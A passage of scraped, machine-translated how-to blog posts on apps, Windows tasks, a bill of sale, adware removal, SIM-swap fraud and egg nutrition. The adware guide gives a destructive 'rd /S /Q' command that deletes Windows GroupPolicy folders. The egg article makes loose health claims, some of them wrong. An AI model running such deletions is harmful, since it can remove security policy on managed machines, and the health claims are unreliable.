Musical.ly. Comments (comments) allow users to leave messages on other people's videos. And if you like the video, you can click on the profile to see more user information.\n  5. Profile is the space to personalize your account.\nUsers just need to write a little profile information and download a photo to complete their profile. The crown next to the avatar shows that user is the top performer on the app. Fans can subscribe to notifications whenever their favorite users post new videos.\n  6. When ready to lip sync just click the pink plus button\n  7. Record video and upload application or start from scratch\nIf you want to create a video that summarizes your footage from a family vacation, it is best to upload the video from the phone library.\n  8. Musical.ly organizes an online library of top collections to choose from\nSongs are arranged by artists, genres and themes, such as hip-hop, comedy, film dialogue. Each clip lasts about 15 to 30 seconds.\n  9. Choose music from your phone's music library\nThe advantage of using music from the library is that you can choose the exact 15-second clip you want to lip-sync. If selected from Musical.ly's library, users will limit the available excerpts.\n  10. Use Google Play Music to quickly review the lyrics\n  11. In shooting mode, there are a number of tools to help edit videos\nUse the scissors icon to cut the music to start with any part of the song. Most users use the following cammera to use a selfie-facing lens. However, if you want, you can also use the front camera, press the timer\u0026nbsp; and the camera will start recording video after 5 seconds. If good, press Flash.\n  12. \"Musical.ly's lens\" is like filters on Snapchat, allowing to change facial features, from eye size, mouth and nose to lip color.\nHow to use visual effects in Snapchat   Musical.ly's filter library uses artificial intelligence to turn Muser into a deer, a goddess of Coachella, a twin brother, a rockstar and much more.\n  To record, hold the pink button with the camera icon, lip sync until you are satisfied with your work.\n  Complete your work. Like Instagram, Musical.ly offers pre-publishing editing tools to make the video look better. The filter changes the color, contrast and saturation of the video to create a mood. You can label anywhere in the frame, resize and rotate.\n  Don't forget to write a caption with popular hastag cards that can help you earn your heart.\n13. When posting, Musical.ly will prompt you to share videos with friends on other social networking applications.\n  14. Musical.ly displays a message that prompts users to record songs and artists in Instagram posts.\nHow to post photos to Instagram from a computer   Be sure to write the name of the song and artist in the note.\n  I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnquwdKimpqknK56psTTq5ymnV2htrF50rKlnGWRpb2ttcKaq6Knng%3D%3D\n","link":"/post/how-to-use-musical-ly-extreme-lip-sync-application/","section":"post","tags":null,"title":"How to use Musical.ly - extreme lip sync application"},{"body":" A bill of sale is a legal document that confirms the transfer of a vehicle's title from a buyer to a seller. It is often required by your state to be filled out properly and submitted, by the buyer of a vehicle as part of the registration...\nSample Sales Contract and Disclosure Addendum  Sample Used Car Sale Contract  Sample Bill of Sale Disclosure Addendum Method 1of 2:\nWriting Your Own Bill of Sale  Track down your state's laws and regulations regarding bills of sale. After you buy a vehicle, you will need to fill out a bill of sale and submit it to the DMV, as part of the vehicle registration process, in order to prove you own the vehicle.[2] If you are choosing to draft your own bill of sale, you will need to make sure it complies with your state's laws and regulations. States regulate these documents because they are used for official purposes (i.e., to register your vehicle).[3] To find out if your state regulates bills of sale, conduct a general internet search for \"[your state's] bill of sale regulations\". Look for government websites and links to statutes and regulatory guidance documents. If you do not have permanent access to the internet, you can visit your local law library and ask for help. Law librarians are well-trained to help you find books and other materials on specific legal topics. When you get to the library, ask a librarian if they can help you find laws relating to vehicle registration and certificates of vehicle title. Let them know you are looking for information on bills of sale.   Analyze the legal requirements set out in your state's laws and regulations. Once you find the applicable laws, look through them to determine what will have to be included in your bill of sale. This step is important and, if you miss a requirement, your bill of sale could be rejected by the DMV. While each state will have its own requirements, bills of sale will generally have to have at least the following information:[4] The date of the sale A description of the vehicle (e.g., make, model, VIN, and manufacture year) Your name and address (as the buyer) The seller's signature and address.   Draft an introduction. After compiling a list of all the things that need to be included in a bill of sale, you can start drafting. If at all possible, use a computer. Start by giving your document a title (e.g., \"Bill of Sale\"). Directly beneath the title, write an introduction that gives context to the document and presents the transaction that took place. For example, your introduction might state, \"Seller is selling, transferring, and delivering the below vehicle to Buyer.\"[5]   Identify the parties. Within the introduction, or directly after, you need to define who the buyer is and who the seller is. These are the parties to the bill of sale so they need to be described in as much detail as possible. While every state will have different requirements, you should always include: The seller's full name, address, and phone number. The buyer's (your) full name, driver license number, address, and phone number.   Detail the date of the sale and the purchase price of the vehicle. The next sentence of your bill of sale should describe the sale that has taken place. You need to include at least the date the vehicle was purchased and the price you paid to purchase it. If the vehicle was gifted to you, you need to state this. In addition, you should indicate what the parties perceive the value of the gift to be (i.e., how much you think the car is worth).[6]   Describe the vehicle. In a new paragraph, the car needs to be described in enough detail that the DMV can accurately link the particular bill of sale to the vehicle you are trying to register in your name. If the vehicle description is too vague, the DMV will not be able to process your bill of sale for registration purposes. While each state will require different information, you should always try to include the vehicle's:[7] Make Model Vehicle Identification Number (VIN) Model year Year of manufacture Type of body (e.g., pickup, sedan, SUV) Number of cylinders   Include an odometer reading. Federal and state laws require the seller to disclose an accurate odometer reading to you when they transfer ownership of the vehicle. Because the transfer document is usually a bill of sale, this is where the odometer disclosure usually takes place. In addition to leaving space for the seller to write in the odometer reading, you should also include a certification for the seller to sign or initial, which will state that the odometer reading is accurate. For example, you might draft a provision that states, \"Seller certifies that the odometer reading is [put mileage here], and that this reading reflects the actual mileage. Providing a false statement may result in Seller being fined and/or imprisoned.\"   Draft any other information you want to include in the document. Depending on the complexity of your transaction, you may choose to include other information in your bill of sale. Commonly, sellers and buyers will agree to certain warranties, which are promises and assurances about the history of the vehicle and its condition. In addition, some bills of sale are drafted and provided to a lender as security for a loan. If you are in this scenario, your bill of sale will need to include language making it clear that it will not become effective unless you default on your loan. For example, this type of provision might be necessary if you ask a bank for a loan and the bank requires you to use your car as collateral on that loan.[8]   Leave space for signatures. At the bottom of the bill of sale, make sure you leave lines where both you and the seller can sign and date the agreement. While most states only require the seller to actually sign the bill of sale, it is always good practice to have the buyer sign as well.[9]\n  Get the bill of sale notarized, if required. If your state requires you to get bills of sale notarized, you will need to hold off on signing the agreement until you are in front of a notary.[10] Notaries can be found at most banks, law offices, and even a lot of nonprofit organizations. Once in front of a notary, you and the seller will sign the bill of sale and the notary will acknowledge the signatures.\n Method 2of 2:\nUsing Official Bill of Sale Forms  Obtain a bill of sale form. In most circumstances, you will be able to fill out a simple bill of sale form instead of drafting one from scratch. State DMVs and transportation departments will usually make forms available that include all of the required information. Talk with the vehicle's seller and determine who will obtain the bill of sale form. If you need to get the form, you can do so in the following ways: First you can navigate to your state's DMV website and download the form from there. Generally, every state will have a place online where you can find forms. Look for the vehicle bill of sale form. If you do not have consistent access to the internet, you can call your local DMV office and ask them to send the bill of sale form to you. If you are near your DMV, you can visit the office in person and pick up a bill of sale form as well.   Fill out the required information. Once you get a copy of your applicable bill of sale form, you will need to fill it out with the seller of the vehicle. Work through the form and fill out everything accurately and completely. Do not leave anything blank unless the form says it is acceptable. While each state form will differ in substance and layout, they will all usually ask for at least the following information:[11] The vehicle's description The names of the buyer and seller The date the transaction took place How much the vehicle was sold for Whether the vehicle transfer was a gift The seller's address and contact information The buyer's address The seller's signature   Add an addendum if you need to include additional information. If your state has a form, it may not include all of the information you want to include. If this happens, you can usually attach a piece of paper, known as an addendum, to the bill of sale form. Some states may even have certain addendum forms for particular situations. For example, in Vermont, if the vehicle you are buying is nine years old or newer, you and the seller must attach an odometer disclosure statement. This statement asks the seller to certify the vehicle's mileage and it must be signed by you and the seller.\n  Have each party sign the bill of sale. After you fill out the bill of sale and all required or discretionary addendums, you and the seller need to sign in the necessary places. Most states only require the seller to sign the bill of sale, but both parties might do it anyway. Additionally, you and/or the seller may have to sign one or more addendums. Make sure you read the form directions carefully so every party signs the in the correct places.\n  Give the original bill of sale to the buyer. The bill of sale is not only a document that evidences the sale of a vehicle, it is also an official document that must be submitted to the state. Therefore, you (the buyer) will need to obtain the original bill of sale once it has been filled out. This original document will need to be filed with the DMV when you register the vehicle in your name.\n  Keep a copy for your records. Before you file the bill of sale, make copies for the seller and yourself. This document is your main piece of evidence proving a transfer took place. You will need it in case there is a dispute between you and the other party.\n  Lesley Montoya Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq%2BinsGmecBmmaKknGK8p3nSmqOe\n","link":"/post/how-to-write-a-bill-of-sale/","section":"post","tags":null,"title":"How to Write a Bill of Sale"},{"body":"Network administration -Disk mapping is a process that allows us to combine a local drive letter (from A to Z, letters that are used by partitions) with an area on another computer. in the network (like a shared folder) or an address on the Internet (like an FTP site). Drive mapping is especially useful when working with multiple operating systems on the same network. For example, if we use a combination of Windows 7 and Windows XP in the home network, we can't take full advantage of the HomeGroup feature. Then, the drive mapping will be the best alternative. In this article we will learn how to map a network drive to a shared folder over the network, and map to an Internet address, like an FTP site. Launch Map Network Drive Wizard There are several ways to launch the different Map Network Drive Wizard . We can double-click the Computer shortcut then click on the Map network drive button in the upper toolbar. Remember that if we browse through any partition, this button will be hidden, it will only appear in the default Computer window as shown in Figure 1.  Figure 1.\nAlternatively, right-click the Computer icon and select Map network drive. Then Map Network Drive Wizard will appear. Map a shared folder on the network First, select the drive letter you want to use in the mapping process. Then, click the Browse button and select the network address you want to map.  Figure 2. In the Browse window, select the computer and the shared folder you want to map to. After selecting, click OK .  Figure 3. If you do not want to use the Browse button, you can directly enter the address of the shared folder you want to map, or access that address using Windows Explorer, then right-click the folder to select Map network drive . If you want Windows 7 to reconnect to this drive every time you log in, select the Reconnect at logon check box. In addition, if you map a drive to a computer that is running Windows Vista or XP, we may also have to connect with a user account defined on that computer. In this case, select the Connect using different credentials check box . After done, click Finish .\n Figure 4. In some cases, as in the above case, we will receive a request to enter a username and password to connect to this network address. Windows 7 will then use our computer as a domain. This can cause some problems when accessing this network address because we make a connection to a computer other than the user account defined on the computer we are using. And in most cases the connection session will not work. As shown in Figure 5, we need to ensure that the name of the destination computer appears in the Domain field.\n Figure 5. To do so, in the user name field enter the name of the computer you want to connect to, a key '' then enter the username you want to use to connect. The user must be defined on the computer that is connected to it or the connection will fail. If you have entered all the information correctly, we will see that the Domain field has changed the value to the name of the computer you want to connect to. After completing click OK .\n Figure 6. If the mapping process is stable, the newly created drive will open and appear in the Computer window and in Windows Explorer .\n Figure 7. Map FTP site To map the drive to an FTP site, we first need to select the drive letter then click on the Connect to a Web site that you can use to store your documents and pictures (Connect to a web site with Can be used to store documents and images).\n Figure 8. Then the Add Network Location Wizard will appear. On the first page of this Wizard click Next .\n Figure 9. In the next window, click Choose a custom network location .  Figure 10. Next enter the address of the FTP site. First enter ftp: // and then enter the IP address or name of the FTP site. If you want to see some sample addresses entered, click the View examples link. When finished, click Next .\n Figure 11. We will then specify a username to connect to the FTP site. If the FTP site allows you to make anonymous connections , leave the Log on anonymously checkbox selected, otherwise uncheck this box.\n Figure 12.\nIf you uncheck this box, we will have to enter the user name and then click Next .  Figure 13.\nWindows 7 will then ask us to enter a name for this mapping (any). Then click Next .  Figure 14.\nTo check the newly created mapping, select the check box Open this network location when I click Finish (Open this network address when you click Finish) and then click Finish .\n Figure 15. In case you need to use a username and password to connect to the FTP site, a new window will appear asking us to enter the login information. Then enter the required information and select the Save password dialog box if you do not want to re-enter it each time you connect and press Log On .\n Figure 16. The FTP page will then appear in the Computer window as a mapped drive. Delete the mapped drive In case you need to delete a previously created drive mapping, open the Computer window. All mapped drives will appear in the Network Location area below the partitions and the CD / DVD-ROM drive.\n Figure 17.\nTo delete the drive mapping to a network address, right-click it and select Disconnect .  Figure 18.\nTo delete the drive mapping to an FTP site, right-click it and select Delete .  Figure 19.\nThe deleted drive mappings will not appear on the Computer window anymore. To restore them we will have to recreate them.\nncG1vNJzZmismaXArq3KnmWcp51kuqK8jK2fnmWUp7a3sYyipWavmaOxsMPSZm4%3D\n","link":"/post/map-the-drive-in-windows-7/","section":"post","tags":null,"title":"Map the drive in Windows 7"},{"body":"Start Windows Reliability and Performance Monitor in a specific independent mode.\nPerfmon command syntax  perfmon  The perfmon command parameter Parameters\nDescribe\n/ res\nStart resource view (Resource View).\n/ report\nStart System Diagnostics Data Collector Set and display the report of the results.\n/ rel\nStart Reliability Monitor.\n/ sys\nStart Performance Monitor.\n\nsee more\nAppend command in Windows The assoc in Windows command Auditpol command in Windows The atmadm command in Windows ncG1vNJzZmismaXArq3KnmWcp51kvaa%2Bxaamp2WTpLqurc2dZKKmXay2r7DOsKo%3D\n","link":"/post/perfmon-command-in-windows/","section":"post","tags":null,"title":"Perfmon command in Windows"},{"body":"Manufacturer Acer has brought to IFA 2018 an innovative design gaming chair called Predator Thronos. This chair can simultaneously mount three 27-inch screens and a Predator gaming computer.\nIn addition, this 1-0-2 chair also has a fairly large space for gamers to be comfortable fighting games for a long time. Even the chair has the ability to vibrate according to the game and tilt up to 140 degrees, the LED lights on the chair are light up when people sit in to enhance the game experience for users.\n  This unique Predator Thronos chair has a steel structure, 1.5 meters high and weighs more than 220kg. Overall, Predator Thronos looks like a giant computer and doesn't look like a chair.\n  Price and date on the shelf of this chair has not been announced by Acer.\nAt IFA 2018, Acer also introduced a series of 27-inch dedicated gaming monitors, matching Thronos seats.\nThe most prominent of which is the Predator XB273K screen using IPS panels, 144Hz refresh rate, 3840x2160 resolution, support of NVIDIA's G-Sync technology to eliminate shearing, reducing eye pain when Play games for a long time using Acer VisionCare software. Preadator XB273K is priced at $ 1,299 and will be sold in North America in the fourth quarter of 2018.\n  See more:\nCan play the game on the website address bar, have you tried it? Experience training AI with Ninja game, do you want to try? What does the Ray Tracing technology on the GeForce RTX 20x series mean to gamers? ncG1vNJzZmismaXArq3KnmWcp51kvbOxw5qrqKpdqbWzu82oqmasmJp6trrIqqyeZZeWuqq6xmaaoZmZp3q1tMCtZKytoKW8s8DSZquhqpWaerSv0Z6cp6tdmK6vedWimauZpJp6s7vTmquip54%3D\n","link":"/post/predator-thronos-the-unique-gaming-chair-that-supports-three-screens-can-vibrate-rotation/","section":"post","tags":null,"title":"Predator Thronos, the unique gaming chair that supports three screens, can vibrate rotation"},{"body":"  m.nearbyme.io creates a Google-like search results interface. However, you can detect it by looking at the URL which is not Google.com but m.nearbyme.io.\nm.nearbyme.io is used to redirect user traffic thereby generating income for those behind it. On the surface it looks like users are using Google, but in reality m.nearbyme.io directs them to the pages it wants to generate income for the owner.\nHow to remove m.nearbyme.io To remove m.nearbyme.io you can use SpyHunter or Malwarebytes tool. You can also use the manual removal of m.nearbyme.io according to the instructions below. You need to do the following steps before starting the m.nearbyme.io removal process to be able to remove it successfully:\nStep 1 : Launch Command Prompt by clicking the Start menu button and typing command prompt . Right-click Command Prompt in the search results and select Run as Administrator\n  Step 2 : Enter and execute the following commands:\nrd /S /Q \"%WinDir%|System32|GroupPolicyUsers\" rd /S /Q \"%WinDir%|System32|GroupPolicy\" gpupdate /force   Uninstall m.nearbyme.io from Control Panel Normally, m.nearbyme.io will appear in the application section of the Control Panel under the name SwiftSelect or Swift-S. The steps to remove m.nearbyme.io are as follows:\nStep 1 : Press the Start button\nStep 2 : Select Settings\nStep 3 : Click System\nStep 4 : Click App \u0026amp; features and find SwiftSelect, Swift-S or any suspicious software in the list\nStep 5 : Click on it and press Uninstall button\nNote : To be able to completely uninstall m.nearbyme.io you need to have admin rights of the computer. If your computer is under the management of a business or organization, you need to contact the IT department for support.\nRemove the m.nearbyme.io extension from the browser Sometimes removing m.nearbyme.io from Control Panel doesn't give you the desired results. The reason is because m.nearbyme.io is still activated by the extension that plugs into the browsers. Therefore, you need to proceed further with removing the m.nearbyme.io extension from the browser.\nSafari:\nOpen Safari then click on the drop-down menu then select Preferences Click on the Extensions tab Find the SwiftSelect . extension Click the Uninstall button to remove it Google Chrome:\nOpen Google Chrome then type chrome://extensions in the address bar then press Enter Find SwiftSelect or suspicious extensions Click trash can icon to remove Mozilla Firefox:\nStart Firefox then type about:addons in the address bar and press Enter Choose SwiftSelect or suspicious extensions Click Disable or Remove to remove Microsoft Edge:\nStart Microsoft Edge then type edge://extensions in the address bar and press Enter Find SwiftSelect or suspicious extensions Click the Remove button to remove After removing m.nearbyme.io from Control Panel and browser you should reset browser settings and restart your computer. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddp7Kuu9WeZKamlZa%2Fo8XMnqCoZZanvK5506GcZpqipMS0sdE%3D\n","link":"/post/steps-to-remove-m-nearbyme-io-from-the-browser/","section":"post","tags":null,"title":"Steps to remove m.nearbyme.io from the browser"},{"body":" What will happen to our body if the Sun suddenly disappears? What happens when you drink coconut water continuously for a week? What happens to the body if you drink beer regularly? Everyone probably knows that eggs are a healthy food because eggs contain many proteins, amino acids and antioxidants. An egg has 186mg of cholesterol, which is about 62% of the daily requirement for the body.\nGood eggs are so, but if you eat 2 eggs a day, what will your body do?Scientific studies have demonstrated that eating 2 eggs a day not only provides essential nutrients but also works against many diseases such as cancer and cardiovascular disease.Join us to find answers through the following article!\n1. The brain is protected  © depositphotos\nIn the egg contains double lipid phospholipids that function to ensure communication connection of brain cells, including choline. This special substance is proven to be the most important material of the brain , the material that makes up the cell membrane.\nIf you eat 2 eggs a day, your body gets enough of this nutrient because each egg contains 251mg of choline.The lack of choline can impair memory .\n2. Enhance vision  © depositphotos\nRecent research by Dr. Elizabeth J. Johnson has shown that, in lutein -rich eggs - substances that enhance vision.\nLutein in egg yolk helps reduce the risk of macular degeneration and cataracts. Lack of this substance can lead to injuries that will accumulate permanent effects on vision .\n3. Vitamin D helps absorb calcium for strong bones  © depositphotos © depositphotos\nIf you choose between drinking 1 tablespoon of fish oil or eating a boiled egg, many people will choose the second option. Especially when they found that vitamin D levels in both cases were similar . Furthermore, scientists have found ways to increase vitamin D levels in eggs by feeding chickens with special supplements. Vitamin D helps calcium absorb, strengthen your bones and teeth better.\n4. Contains a variety of vitamins that benefit skin, hair and liver  © depositphotos © depositphotos\nIn eggs are high in biotin and vitamin B12 - extremely essential for skin, hair and liver as well as improve nerve function.Phospholipids in chicken eggs promote the elimination of toxins from the liver.\n5. Reduce the risk of cardiovascular disease  © depositphotos\nAlthough studies published in the American Journal of Clinical Nutrition have shown that cholesterol from eggs helps to balance phosphatide; therefore it is not harmful to our health.\nPhosphatide is an essential component of the cell, most concentrated in nerve and brain, heart, liver, gonads.\nThe study also points out that eating eggs helps inhibit the production of bad cholesterol for the body . Besides, eggs also contain omega 3 acids , which help reduce triglyceride levels ( bad cholesterol ), thereby reducing the risk of cardiovascular diseases.\n6. Lose weight effectively  © depositphotos\nAmerican scientists have shown that eggs are an effective assistant in weight loss . Specifically, if you combine a diet with eating eggs for breakfast, it will help you lose weight twice as fast. Eating such breakfast for a long time will help you reduce the amount of food consumed in a day. Moreover, eating morning eggs helps you increase your feeling of fullness and reduce cravings throughout the day.\nSee also: What happens to the body when drinking lemon juice every day?\n7. Reduce the risk of cancer  © depositphotos © depositphotos\nCholine is an essential substance for brain development and can reduce the risk of cancer. According to research results, for women, supplementing eggs in the diet each day reduces the risk of breast cancer by 18% .\n8. Increased ability to conceive   Vitamin B is involved in the formation of fetal sex hormones and vitamin B9 is also known as folic acid, which supports the formation of fetal red blood cells and neural tubes, reducing the risk of developing retardation. wisdom in children.\nIt supports the formation of red blood cells and fetal neural tube, reducing the risk of mental retardation in children. That's why pregnant women need vitamin B9 . Remember, a chicken egg contains 7mcg of vitamin B!\n9. Slow down the aging process  © depositphotos\nDutch scientists have conducted research and demonstrated that eating eggs is capable of reducing the aging process , especially in women. Accordingly, 87% of women aged 35-40 have reduced spots, spots due to age and less prone skin, pasting when putting eggs into the daily diet. In men, crow's feet are also significantly dimmed.\nSee also: 10 great benefits from eating 3 bananas a day\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02afmqigmru0edOoZLKnpad6o7vDsmSwoJWjeqat06KloGViYrKos9JmmGacka4%3D\n","link":"/post/what-happens-to-your-body-when-eating-2-eggs-a-day/","section":"post","tags":null,"title":"What happens to your body when eating 2 eggs a day?"},{"body":"Scams related to the coronavirus pandemic are on the rise. Phone calls and text messages claim to offer a cure or test kits, but what the scammers are really after is your personal information. With that information, hackers and scammers can do all sorts of things, like take control of your phone number and then access your online accounts.\u0026nbsp;\n In January, a\u0026nbsp;published study revealed\u0026nbsp;how incredibly easy it to do, potentially leading to thousands of dollars in fraud -- that's your money on the line. The practice of SIM swapping is becoming increasingly common, and despite carriers putting safeguards in place, researchers were able to demonstrate taking over your phone number quickly and with ease.\nThe SIM card inside your phone is a small plastic chip that tells your device which cellular network to connect to, and which phone number to use. We rarely ever think about SIM cards, except maybe when we get a new phone.\u0026nbsp;\n  SIM swapping occurs when someone contacts your wireless carrier and is able to convince the call center employee that they are, in fact, you, using your personal data.\u0026nbsp;\nThey do this by using data that's often exposed in hacks, data breaches, or information you publicly share on social networks to trick the call center employ into switching the SIM card linked to your phone number, and replace it with a SIM card in their possession.\u0026nbsp;\nOnce your phone number is assigned to a new card, all of your incoming calls and text messages will be routed to whatever phone the new SIM card is in.\u0026nbsp;\nAt first glance, it seems somewhat harmless. But when you consider that most of us have our phone numbers linked to our bank, email and social media accounts, you quickly begin to see how easy it would be for someone with access to your phone number can take over your entire online presence.\u0026nbsp;\nMatthew Miller, a contributor to CNET sister site ZDNet, fell victim to a SIM swap scam last year, and he's still experiencing the repercussions of the fallout. Whoever took over Miller's phone number gained access to his Gmail account, and promptly changed his password, then erased every email, deleted every file in his Google Drive account, and eventually deleted his Gmail account altogether.\u0026nbsp;\nMiller later discovered he was targeted because he had a Coinbase account and his bank account was linked to it. Miller's phone received his Coinbase account's two-factor authentication codes, so the hackers were able to log into his cryptocurrency trading account and buy $25,000 worth of Bitcoin. Miller had to call his bank and report the transaction as fraud. That's on top of the immense vulnerability he felt.\nOne ill-gotten gain for someone who takes over your phone number is the instant access to any two-factor authentication codes you receive through text messages, the pin that an institution texts you to verify that you are who you say. That means if they have your password, they're just a few clicks away from logging into your email, bank or social media accounts.\u0026nbsp;\nAnd if someone gains access to your email account, they can change passwords and search through your email archive to build a list of your entire online presence. Take the time to move away from SMS 2FA codes and use app-based codes instead. Seriously.\u0026nbsp;\n  What can you do to prevent SIM swapping on your account? You can decrease your chances of someone gaining access to and taking over your phone number by adding a PIN code or password to your wireless account. T-Mobile, Verizon, Sprint and AT\u0026amp;T all offer the ability to add a PIN code.\u0026nbsp;\nSome companies, like Sprint, require you to set up a PIN code when you sign up for service. However, if you're unsure if you have a PIN code or need to set one up, here's what you need to do for each of the four major US carriers.\u0026nbsp;\nSprint customers: Log in to your account on Sprint.com then go to My Sprint \u0026gt; Profile and security \u0026gt; Security information and update the PIN or security questions then click Save. AT\u0026amp;T subscribers: Go to your account profile, sign in, and then click Sign-in info. Select your wireless account if you have multiple AT\u0026amp;T accounts, then go to Manage extra security under the Wireless passcode section. Make your changes, then enter your password when prompted to save. T-Mobile users: Set up a PIN or passcode the first time you sign in to your My T-Mobile account. Pick Text messages or Security question and follow the prompts.\u0026nbsp; Verizon Wireless customers: Call *611 and ask for a Port Freeze on your account, and visit this webpage to learn more about enabling Enhanced Authentication on your account.   If you have service through a different carrier, call their customer service number to ask how you can protect your account. Most likely, you'll be asked to create a PIN or passcode.\nWhen creating a PIN or passcode, keep in mind that if someone has enough information to fake that they're actually you, using a birthday, anniversary, or address as the PIN code isn't going to cut it. Instead, create a unique passcode for your carrier and then store it in your password manager.\nHow do you know if you've been affected?\u0026nbsp;\n The easiest way to tell if your SIM card is no longer active is if you completely lose service on your phone. You may receive a text message stating the SIM card for your number has been changed, and to call customer service if you didn't make the change. But with your SIM card no longer active, you won't be able to place a call from your phone -- not even to customer service (more on this below).\u0026nbsp;\nIn short, the quickest way to tell if you've been affected is if your phone completely loses service and you can't send or receive text messages or phone calls.\u0026nbsp;\n  What should you do if you find yourself a victim of SIM swap fraud? The truth is, if someone wants access to your phone number bad enough, they will do all they can to trick your carrier's support representative. What we've outlined above are best practices, but they're not foolproof.\u0026nbsp;\nResearchers were able to pose as account holders who had forgotten their PIN or passcodes, oftentimes providing the recent numbers called by the account holder. How do they know those numbers? They either tricked the account holder into calling a couple of numbers -- or even scarier, phone numbers for incoming calls to the account they want to take over, meaning the bad guy simply needed to call the target's phone number themselves.\u0026nbsp;\nOnce you realize you've lost service on your mobile device, call your carrier immediately and let them know you didn't make the changes. The carrier will help you recover access to your phone number. I can't emphasize this enough -- do not wait to call. The longer someone has access to your phone number, the more damage they can do.\u0026nbsp;\nHere are the customer service numbers for each major carrier. Put your carrier's number in your phone as a contact:\nSprint: 1-888-211-4727 AT\u0026amp;T: 1-800-331-0500 T-Mobile: 1-800-937-8997 Verizon: 1-800-922-0204   With your SIM card deactivated, you won't be able to call from your phone, but at least you'll have the number handy to use on someone else's device.\u0026nbsp;\nYou'll also want to reach out to your bank(s), credit card company, and double-check all of your online accounts to make sure that the perpetrator hasn't changed your passwords or made any fraudulent transactions. If you find transactions that aren't yours, call your bank or visit a branch right away and explain the situation.\u0026nbsp;\nRemember, no matter how many PIN codes or passwords we add to our online accounts, there's still a chance that someone will find a way to break in. But at least by setting a passcode for your account, and knowing what to do if you find yourself a victim of SIM swapping, you're prepared.\u0026nbsp;\nAnother critical aspect of strong online security is to use a password manager to create and store unique passwords on your behalf. Additionally, enable two-factor authentication on every account that offers it.\nncG1vNJzZmismaXArq3KnmWcp51kwKq5jKyumqhdm7%2BiwcNmrqGZpGK2tXnIrGSwoKlixrDBjKyfqK2cmXqkrdGeZJqmlGK1sMOMraZmqKKaw6a602agrQ%3D%3D\n","link":"/post/what-it-is-why-you-should-care-and-how-to-prevent-it/","section":"post","tags":null,"title":"What it is, why you should care and how to prevent it"},{"body":"Captions and captions are used to display text for videos. Although they look quite similar, they display different text. Subtitles display text spoken by a character in a movie to better understand. Caption is used to display all the sounds that take place in a movie like knocking, shouting, phone ringing, serving deaf people. Depending on the needs of users, this article will introduce you to 5 tools to add subtitles or caption to videos.\nWays to add subtitles, caption to videos 1. Add subtitles, caption with Windows Movie Maker 2. Add subtitles, caption with Youtube Editor 3. Add subtitles, caption with Pinnacle Studio 4. Add subtitles, caption with CaptionMaker 5. Add subtitles, caption with Aegisub 1. Add subtitles, caption with Windows Movie Maker Windows Movie Maker is always one of the most popular software for simple video editing. The software can combine video files, allowing adding audio and music to videos, applying video transitions, creating slideshows and more. This tool is quite easy to use. Here's how to add subtitles, caption to videos with Movie Maker.\nCut, merge video clips with the utility available in Windows Step 1: Download Windows Movie Maker if not already available. If you're using Windows 10, read the Windows 10 Guide to Download Windows Movie Maker guide on how to download it.\nStep 2: Open Movie Maker and download videos.\nStep 3: Then click on the Home tab and select Caption .\n  Step 4: Windows Movie Maker will add a special window to enter text for the video.\nStep 5: Edit caption if needed.\n  Step 6: Save the video to apply changes.\nThis is a convenient and simple software that provides a multi-function text editor, change the text position, font and size. Alternatively, you can select transitions for the text and make it appear in an unusual way.\n2. Add subtitles, caption with Youtube Editor YouTube provides several ways to add subtitles, captions and text to videos. This paragraph can annotate, text or speech bubbles, caption.\n7 ways to download videos on Youtube quickly and simply Step 1: Register an account on YouTube with a Google account.\nStep 2: Upload videos to YouTube.\nStep 3: Open the video and click Annotations or CC button below.\n  Step 4: If you choose Annotations , set type, insert text, change the time and other necessary edits as you like. If you want to add subtitles or captions, remember to select the language.\n  Step 5: Now, choose to download the available subtitle or caption file, copy and automatically sync videos or create new subtitles or captions.\n  Step 6: When finished, press the Saved button.\n3. Add subtitles, caption with Pinnacle Studio Pinnacle Studio is a complex video editing software that allows users to add caption to movies in the same way as Windows Movie Maker.\n  To add text to video using Pinnacle Studio, follow the simple instructions below:\nStep 1: Download Pinnacle Studio.\nStep 2: Add videos to Pinnacle Studio.\nStep 3: Select Titles.\nStep 4: Select the title type and location, put it into the editor line.\nPinnacle Studio is smart software with many text editing options. However, it is quite heavy and not free but has a 30-day trial version.\n4. Add subtitles, caption with CaptionMaker CaptionMaker is another tool that will help create subtitles, caption on Windows and Mac. The software is not free, but the demo version is available. Therefore, you can download and try its features before deciding to use it. CaptionMaker has a high degree of customization, users can change the font, text background color, number of rows, location and more.\n  To add caption with CaptionMaker:\nStep 1: Download CaptionMaker for PC or Mac.\nStep 2: Run the software on PC or Mac.\nStep 3: Import the video file via File \u0026gt; Open Movie .\nStep 4: Set the time needed for caption.\nStep 5: Enter text into the Caption / Subtitle field .\nStep 6: Select subtitle type, caption (font, location, etc .)\nStep 7: When done, click File \u0026gt; Save to save the movie with subtitles, caption.\nCaptionMaker is a great tool, if you want a professional caption, you should not miss it.\n5. Add subtitles, caption with Aegisub Aegisub is a cross-platform text editing software such as Notepad, captioning, caption with just a few clicks. The software has an integrated video player, so there is no need to open the video in a separate video player.\n  To add subtitles, caption to videos with Aegisub, please read the tutorial How to create subtitles for this video using Aegisub.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kgm7DwLKqZqulpbKzecSaqrJlpKR6orDDZqqumqSewa2x0maamqiknryvedOoZK%2BhlJq8\n","link":"/post/5-ways-super-easy-to-add-subtitles-caption-to-video/","section":"post","tags":null,"title":"5 ways super easy to add subtitles, caption to video"},{"body":"Gestures make smartphone use faster and more efficient, but not everyone knows these gestures. This article will introduce seven Android gestures you may not know yet.\n1. Delete the icon and widget quickly from the main screen The main screen doesn't have many icons and widgets that look clean and neat. If you want to clean up the main screen, you can use the following tip. Instead of clicking the icon or widget and dragging it to the top of the screen (where the X mark is located), simply press and hold the icon, then quickly drag it to the top of the screen to delete it.\n  4 ways to uninstall apps for Android devices 2. Access the Quick Settings menu faster Android's Quick Settings menu is considered the easiest way to simplify the operation of opening Wi-Fi, Bluetooth, disable automatic rotation and use a variety of other tools. However, you need to do some operations to display the entire Quick Settings.\n  Or simply, you just need to swipe down with two fingers. To quickly open the Quick Settings menu, use two swipe fingers from the quick notification bar.\nHow to add more customizations to Quick Settings on Android 3. Launch Quick Camera Have you ever been in a situation, caught a moment and wanted to capture it to save it, but after unlocking the screen, launching the camera app, that moment passed. Really too unfortunate right? In this case, you need to know a shortcut: double-click the power button to quickly start the camera. You don't need to worry about whether your Android phone is supported because this feature supports all Android phones whether your screen is on or off, it 